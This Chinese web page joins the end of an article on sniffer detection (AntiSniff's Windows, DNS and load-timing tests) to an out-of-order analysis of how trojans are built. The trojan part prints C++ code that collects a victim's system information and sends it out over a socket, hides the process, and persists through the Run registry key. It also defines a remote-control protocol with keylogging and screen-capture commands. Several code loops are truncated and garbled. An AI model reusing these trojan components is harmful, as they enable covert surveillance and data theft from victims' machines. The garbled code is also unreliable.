             许多NetBSD内核具有与上述Linux内核相同的特性,不过伪造以太网数据帧中的IP地址必须设为广播地址。

            Windows 95/98/NT

             根据对网络驱动程序头文件的了解,可以知道当处于混杂模式时,Microsoft的操作系统会确切地检查每个包的以太网地址。如果与网卡的以太网地址匹配,将作为目标IP地址为本机的数据包存放到相应堆栈中处理。可以被利用的一点是系统对以太网广播包的分析。在正常情形下,例如机器工作在非混杂模式下,网卡只向系统内核传输那些目标以太网址与其匹配或为以太网广播地址(ff:ff:ff:ff:ff:ff)的数据包。如果机器处于混杂模式下,网络驱动程序仍然会检查每个数据包的以太网地址,但检查是否为广播包时却只检查头8位地址是否为0xff。因此,为了使处于混杂模式的系统返回响应信息,AntiSniff构造以太网地址为ff:00:00:00:00:00且含有正确目标IP地址的数据包,当Microsoft的操作系统接收到这个数据包时,将根据网络驱动程序检查到的细微差别而返回响应包(如果处于混杂模式)或丢弃这个数据包(如果处于非混杂模式)。


             需要注意的是,这个检查与使用的网络驱动程序有关。Microsoft缺省的网络驱动程序具有以上特性,大多数的厂商为了保持兼容性也继承了这些特性。不过有些网卡会在其硬件层中检查以太网地址的头8位,所以可能会无论系统真正的状态是什么都总是返回正值。关于这类网卡和驱动程序请访问AntiSniff
            Ver1.x的web网站。

            ◆ DNS 测试

             进行DNS测试的原因是许多攻击者使用的网络数据收集工具都对IP地址进行反向DNS解析,因为他们希望根据域名寻找更有价值的主机。例如joepc1.foo.bar对攻击者的吸引力往往不如payroll.foo.bar这种商业域名。此时这些工具就由被动型网络工具变为主动型网络工具了。而不监听网络通讯的机器不会试图反向解析数据包中的IP地址。为了利用这一点,AntiSniff
            Ver1.x使自身处于混杂模式下,向网络发送虚假目标IP地址的数据包,然后监听是否有机器发送该虚假目标IP地址的反向DNS查询。伪造数据包的以太网地址、检查目标、虚假目标IP地址可由用户定制。


            ◆ 网络和主机响应时间测试

             这种测试已被证明是最有效的。它能够发现网络中处于混杂模式的机器,而不管其操作系统是什么。警告,这个测试会在很短的时间内产生巨大的网络通讯流量。进行这种测试的理由是不处于混杂模式的网卡提供了一定的硬件底层过滤机制。也就是说,目标地址非本地(广播地址除外)的数据包将被网卡的固件丢弃。在这种情况下,骤然增加、但目标地址不是本地的网络通讯流量对操作系统的影响只会很小。而处于混杂模式下的机器则缺乏此类底层的过滤,骤然增加、但目标地址不是本地的网络通讯流量会对该机器造成较明显的影响(不同的操作系统/内核/用户方式会有不同)。这些变化可以通过网络通讯流量工具监视到。


              根据以上要点,AntiSniff Ver 1.x
            首先利用ICMPECHO请求及响应计算出需要检测机器的响应时间基准和平均值。在得到这个数据后,立刻向本地网络发送大量的伪造数据包。与此同时再次发送测试数据包以确定平均响应时间的变化值。非混杂模式的机器的响应时间变化量会很小,而混杂模式的机器的响应时间变化量则通常会有1-4个数量级。为了对付攻击者和入侵者们最常用的多种工具,AntiSniff进行了三种网络饱和度测试:SIXTYSIX、TCPSYN和THREEWAY。


               
             *SIXTYSIX测试构造的数据包数据全为0×66。这些数据包不会被非混杂模式的机器接收,同时方便使用常见的网络监听/分析工具(如tcpdump和snoop等)记录和捕获。


                 *TCPSYN测试构造的数据包包含有效的TCP头和IP头,同时TCP标志域的SYN位被设置。

              
             *THREEWAY测试采取的原理基本上与TCPSYN一样,但更复杂些。在这种测试中两个实际不存在的机器间多次建立完整的TCP三方握手通讯。它能够更好地欺骗那些骇客工具。


              AntiSniff Ver
            1.x中能够通过以上三种数据包测试发现正处于混杂模式机器的测试方法最好周期性地进行和与以前的数据比较。响应时间测试第一次运行的数据还能够用于分析一个大型网络在flooding和非flooding状态时的性能,并帮助工程师调整网络性能。一旦确信本地网络已运行在正常(没有未经允许而处于混杂模式的机器)状态,就应该设置AntiSniff工具周期性运行。只要发现某台机器性能(响应时间)发生数量级的变化,一般就能确定其正处于混杂模式。这种方法不需比较两台独立系统间的性能数据,而只需比较同一台机器不同时候的数据就能确定该机器是否处于混杂模式。


            八 结尾

             本文旨在向你描述sniff的基本原理,为的是要使你不仅仅能够了解什么是sniff而已,而是要明白sniff运转的根本原理,文章参考了大量的资料,牵涉到直接引用的已经注明出处和作者,非常的感谢他们。在此还要感谢W.Richhard.Stevens,虽然其人已逝,但留下的TCP/IP三卷本真是造福了大家,文章的很多地方也是拜他老人家指点迷经才得以感悟。最后还要感谢雀巢咖啡,让我得以熬夜把这篇文章写完,呵呵,谢谢大家。

            妖狐安全网 15safety.com 版权所有 &copy; 2001
            所有文章版权属于原作者所有,转载请与原作者联系并注明出处-妖狐安全资讯网

2005年04月29日

 6、目标机器情况的获取

  相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。

  AnsiString cs;

  FILE *fp;

  fp=fopen("temp.had","w+");

  //TODO: Add your source code here

  //获得CPU型号

  SYSTEM_INFO systeminfo;

  GetSystemInfo (&systeminfo);

  cs="CPU类型是:"+String(systeminfo.dwProcessorType)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  MEMORYSTATUS memory;

  memory.dwLength =sizeof(memory); //初始化

  GlobalMemoryStatus(&memory);

  cs="物理内存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs="可用内存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  DWORD sector,byte,cluster,free;

  long int freespace,totalspace;

  UINT type;

  char name;

  //0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、

  //5—CD-ROM、6—内存虚拟盘

  char volname[255],filename[100];//buffer[512];

  DWORD sno,maxl,fileflag ;

  for (name=‘A‘;name<=‘Z‘;name++) {//循环检测A~Z

  type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //获得磁盘类型

  if(type==0){

  cs="未知类型磁盘:"+String(name)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if(type==2){

  cs="可移动类型磁盘:"+String(name)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if(type==3){

  cs="固定磁盘:"+String(name)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if(type==4)   {

  cs="网络映射磁盘:"+String(name)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if (type==5)  {

  cs="光驱:"+String(name)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if (type==6)  {

  cs="内存虚拟磁盘:"+String(name)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

   if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100))  {

  cs=String(name)+"盘卷标为:"+String(volname)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs=String(name)+"盘序号为:"+String(sno)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //获得返回参数

  totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量

  freespace=int(free)*byte*sector/1024/1024; //计算可用空间

  cs=String(name)+String(‘:‘)+"盘总空间(Mb):"+AnsiString(totalspace)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs=String(name)+String(‘:‘)+"盘可用空间(Mb):"+AnsiString(freespace)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  }

  int wavedevice,mididevice;

  WAVEOUTCAPS wavecap;

  MIDIOUTCAPS midicap;

  wavedevice=(int)waveOutGetNumDevs(); //波形设备信息

  mididevice=(int)midiOutGetNumDevs(); // MIDI设备信息

  if (wavedevice!=0){

  waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));

  cs="当前波形设备:"+String(wavecap.szPname)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  if (mididevice!=0){

  midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));

  cs="当前MIDI设备:"+String(midicap.szPname)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  long double tcs;

  long double tc;

  long int bpp,cp;

  cs="当前分辨率为:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);

  tcs=pow(2,bpp); //计算色彩的梯度数

  cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);

  tc= pow(double(tcs),double(cp)); //计算色深

  AnsiString sss;

  sss=bpp;

  cs="当前色深为:"+sss+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  fclose(fp);

  AnsiString FileName="temp.had";

  char *buf;

  TcpMsgUint Msg2;

  strcpy(Msg2.TPassword,Password);

  TMemoryStream *ms=new TMemoryStream;

  ms->Clear();

  if (!FileExists(FileName)) CheckHard();

  TFileStream *fs=new TFileStream(FileName,fmOpenRead);

  buf=new char[fs->Size+sizeof(TcpMsgUint)+1];

  fs->Read(buf,fs->Size);

  Msg2.Type=MsgGetHardWare;

  Msg2.Length=fs->Size;

  FileClose(fs->Handle);

  ms->Write(&Msg2,sizeof(TcpMsgUint));

  ms->Write(buf,Msg2.Length);

  ms->Position=0;

  delete []buf;

  try{

  sock->SendStream(ms);

  }

  catch(Exception&e) {

  }

  }

  上面一段程序,基本上把相关的系统信息都取到了。

  7、服务器端程序的包装与加密

  有些软件允许用户自定义端口号。这样做的目的,是为了防止被反黑程序检测出来,这种功能是如何实现的呢?

  首先让我们来做一个实验:

  进入Windows的命令行模式下做如下操作

  1)C:\>copy Server.Exe Server.Bak

  2)建立一个文本文件Test.Txt,其内容为“http://www.patching.net”

  3)C:\>type Text.Txt>>Server.Exe

  4)运行Server.Exe

  怎么样?是不是发现Server.Exe仍然可以运行呢?木马服务器端自定制的奥秘就在这里:首先生成了一个EXE文件,这个EXE文件里有一项读取自身进程内容的操作,读取时,文件的指针直接指向进程的末尾,从末尾的倒数N个字节处取得用户定制的信息,比如端口号等,然后传递给程序的相关部分进行处理。这里不给出相关的代码部分,有兴趣的朋友请参考一些文件打包程序代码,它所使用的技术是大同小异的。

  8、总结

  以上讲的几点技术,基本上包括了所有第二代木马的特点,个别的木马程序支持服务器列表,宏传播等,实现上大同小异。随着技术的不断更新和发展,相信离第五代木马出现的日子已经不远了,黑与反黑,如此往复的的进行下去,希望这篇文章在您阅读之后能带给您一些反黑技术上的帮助。

regKey.OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",true);

  if(!regKey.ValueExists("Interbase Server"))

  {

  regKey.WriteString("Interbase Server",

  "D:\\Program Files\\Borland\\IntrBase\\BIN\\ibserver.exe");

  }

  regKey.CloseKey();

  delete &regey;

  4、木马程序的建立连接的隐藏

  木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。

  C:\Documents and Settings\bigball>netstat -n

  Active Connections

   Proto Local Address Foreign Address State

   TCP 192.0.0.9:1032 64.4.13.48:1863 ESTABLISHED

   TCP 192.0.0.9:1112 61.141.212.95:80 ESTABLISHED

   TCP 192.0.0.9:1135 202.130.239.223:80 ESTABLISHED

   TCP 192.0.0.9:1142 202.130.239.223:80 ESTABLISHED

   TCP 192.0.0.9:1162 192.0.0.8:139 TIME_WAIT

   TCP 192.0.0.9:1169 202.130.239.159:80 ESTABLISHED

   TCP 192.0.0.9:1170 202.130.239.133:80 TIME_WAIT

  C:\Documents and Settings\bigball>netstat -a

  Active Connections

   Proto Local Address Foreign Address State

   TCP Liumy:echo Liumy:0 LISTENING

   TCP Liumy:discard Liumy:0 LISTENING

   TCP Liumy:daytime Liumy:0 LISTENING

   TCP Liumy:qotd Liumy:0 LISTENING

   TCP Liumy:chargen Liumy:0 LISTENING

   TCP Liumy:epmap Liumy:0 LISTENING

   TCP Liumy:microsoft-ds Liumy:0 LISTENING

   TCP Liumy:1025 Liumy:0 LISTENING

   TCP Liumy:1026 Liumy:0 LISTENING

   TCP Liumy:1031 Liumy:0 LISTENING

   TCP Liumy:1032 Liumy:0 LISTENING

   TCP Liumy:1112 Liumy:0 LISTENING

   TCP Liumy:1135 Liumy:0 LISTENING

   TCP Liumy:1142 Liumy:0 LISTENING

   TCP Liumy:1801 Liumy:0 LISTENING

   TCP Liumy:3372 Liumy:0 LISTENING

   TCP Liumy:3389 Liumy:0 LISTENING

   TCP Liumy:netbios-ssn Liumy:0 LISTENING

   TCP Liumy:1028 Liumy:0 LISTENING

   TCP Liumy:1032 msgr-ns19.msgr.hotmail.com:1863 ESTAB

   TCP Liumy:1112 szptt61.141.szptt.net.cn:http ESTABLI

   TCP Liumy:1135 202.130.239.223:http ESTABLISHED

   TCP Liumy:1142 202.130.239.223:http ESTABLISHED

   TCP Liumy:1162 W3I:netbios-ssn TIME_WAIT

   TCP Liumy:1170 202.130.239.133:http TIME_WAIT

   TCP Liumy:2103 Liumy:0 LISTENING

   TCP Liumy:2105 Liumy:0 LISTENING

   TCP Liumy:2107 Liumy:0 LISTENING

   UDP Liumy:echo *:*

   UDP Liumy:discard *:*

   UDP Liumy:daytime *:*

   UDP Liumy:qotd *:*

   UDP Liumy:chargen *:*

   UDP Liumy:epmap *:*

   UDP Liumy:snmp *:*

   UDP Liumy:microsoft-ds *:*

   UDP Liumy:1027 *:*

   UDP Liumy:1029 *:*

   UDP Liumy:3527 *:*

   UDP Liumy:4000 *:*

   UDP Liumy:4001 *:*

   UDP Liumy:1033 *:*

   UDP Liumy:1148 *:*

   UDP Liumy:netbios-ns *:*

   UDP Liumy:netbios-dgm *:*

   UDP Liumy:isakmp *:*

  但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接,这听起来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马端口绑定于特定的服务端口之上,(比如80端口的HTTP,谁怀疑他会是木马程序呢?)从而达到隐藏端口的目地。另外一种办法,是使用ICMP(Internet Control Message Protocol)协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段,这样的木马,具备很多新的特点,不占用端口的特点,使用户难以发觉,同时,使用ICMP可以穿透一些防火墙,从而增加了防范的难度。之所以具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网络的应用层不使用TCP协议。关于网络层次的结构,下面给出图示:

  

   网络层次结构图

  5、发送数据的组织方法

  关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包装一些协议:

  typedef struct{ //定义消息结构

  //char ip[20];

  char Type; //消息种类

  char Password[20]; //密码

  int CNum; //消息操作号

  //int Length; //消息长度

  }Msg;

  #define MsgLen sizeof(Msg)

  //——————————————-

  //对话框数据包定义:Dlg_Msg_Type.h

  //——————————————-

  //定义如下消息类型:

  #define MsgDlgCommon 4//连接事件

  #define MsgDlgSend 5//发送完成事件

  //消息结构

  typedef struct{

   char Name[20];//对话框标题

   char Msg[256];//对话框消息内容

  }MsgDlgUint;

  #define MsgDlgLen sizeof(MsgDlgUint)//消息单元长度

  //——————————————

  //聊天数据包定义:Chat_Msg_Type.h

  //——————————————

  //定义如下消息类型:

  #define MsgChatCommon 0//连接事件

  #define MsgChatConnect 1//接入事件

  #define MsgChatEscept 2//结束事件

  #define MsgChatReceived 16//确认对话内容收到

  //消息结构

  typedef struct{

   char ClientName[20];//Client自定义的名称

   char Msg[256];//发送的消息

  }MsgChatUint;

  #define MsgChatLen sizeof(MsgChatUint)//消息单元长度

  //——————————————

  //重启数据包定义:Reboot_Msg_Type.h

  //——————————————

  //定义如下消息类型:

  #define MsgReBoot 15//重启事件

  //——————————————

  //目录结构请求数据包定义:Dir_Msg_Type.h

  //——————————————

  //定义如下消息类型:

  #define MsgGetDirInfo 17

  #define MsgReceiveGetDirInfo 18

  typedef struct{

  char Dir[4096];//你要的目录名

  }MsgDirUint;

  #define MsgDirUintLen sizeof(MsgDirUint)

  // TCP的Msg

  typedef struct{ //定义消息结构

  char SType; //消息种类

  char SPassword[20]; //密码

  //int SNum; //消息操作号

  char *AllMsg;

  }SMsg;

  #define SMsgLen sizeof(SMsg)

  #define MSGListProgram 19

  #define MSGFlyMouse 21

  #define MSGGoWithMouse 22

  #define MSGSaveKey 23

  #define MSGTracekey 24

  #define MsgCopyScreen 25//tcp接收消息,udp请求消息

  #define MSGCopyWindow 26

  //————————-

  //鼠标指针隐藏和显示控制

  //————————-

  #define MsgSetMouseStat 27//设置消息

  #define MsgMouseStat 28//成功消息

  typedef struct{

  bool mouseshow;

  }MsgSetMouseStatUint;

  #define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)

  //————————-

  //任务栏隐藏和显示控制

  //————————-

  #define MsgSetTaskBarStat 29//设置消息

  #define MsgTaskBarStat 30//成功消息

  typedef struct{

  bool taskshow;

  }MsgSetTaskBarStatUint;

  #define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)

  //————————-

  //得到机器名

  //————————-

  #define MsgGetNetBiosName 31//取请求

  #define MsgNetBiosName 32//回送机器名

  typedef struct{

  char NetBiosName[128];

  }MsgNetBiosNameUint;

  #define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)

  //————————-

  //关闭进程变更!

  //————————-

  #define MsgSetProgramClose 33//关闭请求

  #define MsgProgramClosed 34//成功消息—–

  typedef struct{

  char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字

  }MsgSetProgramCloseUint;

  #define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)

  //————————-

  //打开进程变更!

  //————————-

  #define MsgSetProgramOpen 20//打开请求

  #define MsgProgramOpened 36//成功消息

  typedef struct{

  char ProgramName[4096]; //old struct : char ProgramName[128];//要打开的程序的名字

  bool ProgramShow;//前台运行或后台运行程序(隐藏运行)

  }MsgSetProgramOpenUint;

  #define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)

  #define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)

  上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。SNum 为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一办法来校验消息的。

  数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个VOID类型的数据流,然后发送:

  Msg *msg=new Msg;

  TMemoryStream *RData=new TMemoryStream;

  NMUDP1->ReadStream(RData);

  RData->Read(msg,sizeof(Msg));

  UdpConnect *udpconnect=new UdpConnect;

  NetBiosName *netbiosname=new NetBiosName;

  if(msg->CNum==CNumBak)

  return;

  else{

  CNumBak=msg->CNum;

  switch(msg->Type)

  {

  case 0://MsgUdpConnect

  RData->Read(udpconnect,sizeof(UdpConnect));

  checkuser(udpconnect->IsRight);

  break;

  case 1:

  RData->Read(netbiosname,sizeof(NetBiosName));

  AnsiString jqm="机器名 ";

  jqm+=(AnsiString)netbiosname->NetBiosName;

  Memo2->Lines->Add(jqm);

  break;

  }

  }

  当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给出事例代码:

  NMUDP1->RemoteHost=FromIP;

  NMUDP1->RemotePort=Port;

  TMemoryStream *RData=new TMemoryStream;

  NMUDP1->ReadStream(RData);

  Msg *msg=new Msg;

  RData->Read(msg,sizeof(Msg));

  if(msg->CNum==CNumBak)

  return;

  else

  {

  CNumBak=msg->CNum;

  switch(msg->Type)

  {

  case 0:

  checkuser(msg->Password);

  break;

  case 1:

  GetNetBiosName();

  break;

  case 2:

  CheckHard();

  break;

  }

  }

  此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例:

  #define MAXXCount 10 //屏幕X方向最多分割块数

  #define MAXYCount 5 //… Y…………….

  #define DestNum 1000 //每块的偏移检测点最大个数

  COLORREF Colors[MAXXCount][MAXYCount][DestNum];

  COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];

  TPoint Dests[DestNum];

  int Sw;

  int Sh;

  int xCount;

  int yCount;

  int ItemWidth;

  int ItemHeight;

  int Dnum;

  int Qlity;

  //得到消息后执行:

  //另外:接收到的数据包中分析出 Dnum ,Qlity

  //Dnum:偏移观测点数量

  //Qlity:图象要求质量

  __fastcall TForm1::CopyScreen(int DNum,int Qlity){

  ItemWidth=Sw/xCount;

  ItemHeight=Sh/yCount;

  Sw=Screen->Width;

  Sh=Screen->Height;

  xCount=(Sw>1000)?8:6;

  yCount=(Sh>1000)?3:2;

  for (int num1=0;num1 Dests[num1].x=random(ItemWidth);

  Dests[num1].y=random(ItemHeight);

  }

  CatchScreen(DNum,Qlity);

  }

  //收到刷屏消息后只执行:

  CatchScreen(DNum,Qlity);

  __fastcall TForm1::CatchScreen(int DNum,int Qlity){

  //函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据

  //DNum: 偏移量 Qlity:图象质量

  HDC dc=GetDC(GetDesktopWindow());

  Graphics::TBitmap *bm=new Graphics::TBitmap;

  bm->Width=Sw;

  bm->Height=Sh;

  BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);

  int num1,num2,num3;

  int nowx,nowy;

  bool Change;

  bool ItemChange[MAXXCount][MAXYCount];

  for (num1=0;num1 nowx=ItemWidth*num1;

  for (num2=0;num2 nowy=ItemHeight*num2;

  Change=false;

  for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y];

  if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){

  BakColors[num1][num2][num3]=Colors[num1][num2][num3];

  ItemChange[num1][num2]=true;

  }

  }

  }

  }

  int CNum,MaxCNum;

  int ChangedNum=0;

  TRect *Rect;

  int num4;

  int MinSize=10000;

  int m;

  TRect MinRect;

  Graphics::TBitmap *bt2=new Graphics::TBitmap;

  TJPEGImage *j=new TJPEGImage;

  //************************

  j->Quality=Qlity;

  //************************

  CopyScreenUint CopyScreen;

  CopyScreenItemUint CopyScreenItem;

  TMemoryStream *ms=new TMemoryStream;

  ms->Write(&TcpMsg,sizeof(TcpMsgUint));

  ms->Write(&CopyScreen,sizeof(CopyScreenUint));

  do{

  for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){

  MaxCNum=0;

  for (num4=num2+1;num4<=yCount;num4++){ //遍历所有矩形

  CNum=GetChangedNum(TRect(num1,num2,num3,num4));

  if (CNum>MaxCNum) MaxCNum=CNum;

  m=(num3-num1)*(num4-num2);

  if (2*m-CNum MinSize=2*m-CNum;

  MinRect=TRect(num1,num2,num3,num4);

  }

  }

  }

  TMemoryStream *ms;

  BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);

  j->Assign(bt2);

  j->SaveToStream(ms2);

  CopyScreenItem.Rect=TRect(num1,num2,num3,num4);

  CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定义为:#define JPEGFILE 1

  ms2->Position=0;

  CopyScreenItem.Length=ms2->Size;

  ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));

  ms->CopyFrom(ms2,ms2->Size);

  ChangedNum++;

  }while(MaxCNum>0);

  TcpMsg.Type=MsgCopyScreen;

  ms->Position=0;

  TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);

  CopyScreen.Count=ChangedNum;

  ms->Write(&TcpMsg,sizeof(TcpMsgUint));

  ms->Write(&CopyScreen,sizeof(CopyScreenUInt));

  ms->Position=0;

  sock->SendStream(ms);

  }

  这个程序把屏幕画面切分为了多个部分,并存储画面为JPG格式,这样压缩率就变的十分的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为0,在这里不做过多分析了,有兴趣的朋友,可以多看看。

  近年来,黑客技术不断成熟起来,对网络安全造成了极大的威胁,黑客的主要攻击手段之一,就是使用木马技术,渗透到对方的主机系统里,从而实现对远程操作目标主机。 其破坏力之大,是绝不容忽视的,黑客到底是如何制造了这种种具有破坏力的木马程序呢,下面我对木马进行源代码级的详细的分析,让我们对木马的开发技术做一次彻底的透视,从了解木马技术开始,更加安全的管理好自己的计算机。

  1、木马程序的分类

  木马程序技术发展至今,已经经历了4代,第一代,即是简单的密码窃取,发送等,没有什么特别之处。第二代木马,在技术上有了很大的进步,冰河可以说为是国内木马的典型代表之一。第三代木马在数据传递技术上,又做了不小的改进,出现了ICMP等类型的木马,利用畸形报文传递数据,增加了查杀的难度。第四代木马在进程隐藏方面,做了大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。或者挂接PSAPI,实现木马程序的隐藏,甚至在Windows NT/2000下,都达到了良好的隐藏效果。相信,第五代木马很快也会被编制出来。关于更详细的说明,可以参考ShotGun的文章《揭开木马的神秘面纱》。

   2.木马程序的隐藏技术

  木马程序的服务器端,为了避免被发现,多数都要进行隐藏处理,下面让我们来看看木马是如何实现隐藏的。

  说到隐藏,首先得先了解三个相关的概念:进程,线程和服务。我简单的解释一下。

  进程:一个正常的Windows应用程序,在运行之后,都会在系统之中产生一个进程,同时,每个进程,分别对应了一个不同的PID(Progress ID, 进程标识符)这个进程会被系统分配一个虚拟的内存空间地址段,一切相关的程序操作,都会在这个虚拟的空间中进行。

  线程:一个进程,可以存在一个或多个线程,线程之间同步执行多种操作,一般地,线程之间是相互独立的,当一个线程发生错误的时候,并不一定会导致整个进程的崩溃。

  服务:一个进程当以服务的方式工作的时候,它将会在后台工作,不会出现在任务列表中,但是,在Windows NT/2000下,你仍然可以通过服务管理器检查任何的服务程序是否被启动运行。

  想要隐藏木马的服务器端,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的进程仍然存在,只不过是让他消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。

  伪隐藏的方法,是比较容易实现的,只要把木马服务器端的程序注册为一个服务就可以了,这样,程序就会从任务列表中消失了,因为系统不认为他是一个进程,当按下Ctrl+Alt+Delete的时候,也就看不到这个程序。但是,这种方法只适用于Windows9x的系统,对于Windows NT,Windows 2000等,通过服务管理器,一样会发现你在系统中注册过的服务。难道伪隐藏的方法就真的不能用在Windows NT/2000下了吗?当然还有办法,那就是API的拦截技术,通过建立一个后台的系统钩子,拦截PSAPI的EnumProcessModules等相关的函数来实现对进程和服务的遍历调用的控制,当检测到进程ID(PID)为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等软件,就是使用了类似的方法,拦截了TextOutA,TextOutW函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏上。

   当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你会觉得奇怪,刚刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。

  出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木马进程的隐藏与检测》。

  WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)

  {

  try

  {

  DWORD dwVersion = GetVersion();  //取得Windows的版本号

  if (dwVersion >= 0×80000000)   // Windows 9x隐藏任务列表

 {

   int (CALLBACK *rsp)(DWORD,DWORD);

   HINSTANCE dll=LoadLibrary("KERNEL32.DLL");  //装入KERNEL32.DLL

   rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess");  //找到RegisterServiceProcess的入口

   rsp(NULL,1);  //注册服务

   FreeLibrary(dll);  //释放DLL模块

  }

  }

  catch (Exception &exception)  //处理异常事件

  {

  //处理异常事件

  }

  return 0;

  3、程序的自加载运行技术

  让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径到注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run的方法外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以修改Boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.exe启动参数等等的方法,真的可以说是防不胜防,下面展示一段通过修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run键值来实现自启动的程序:

  自装载部分:

  HKEY hkey;

  AnsiString NewProgramName=AnsiString(sys)+AnsiString("+PName/">\\")+PName

  unsigned long k;

  k=REG_OPENED_EXISTING_KEY;

  RegCreateKeyEx(HKEY_LOCAL_MACHINE,

  "SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\",

  0L,

  NULL,

  REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,

  NULL,

  &hkey,&k);

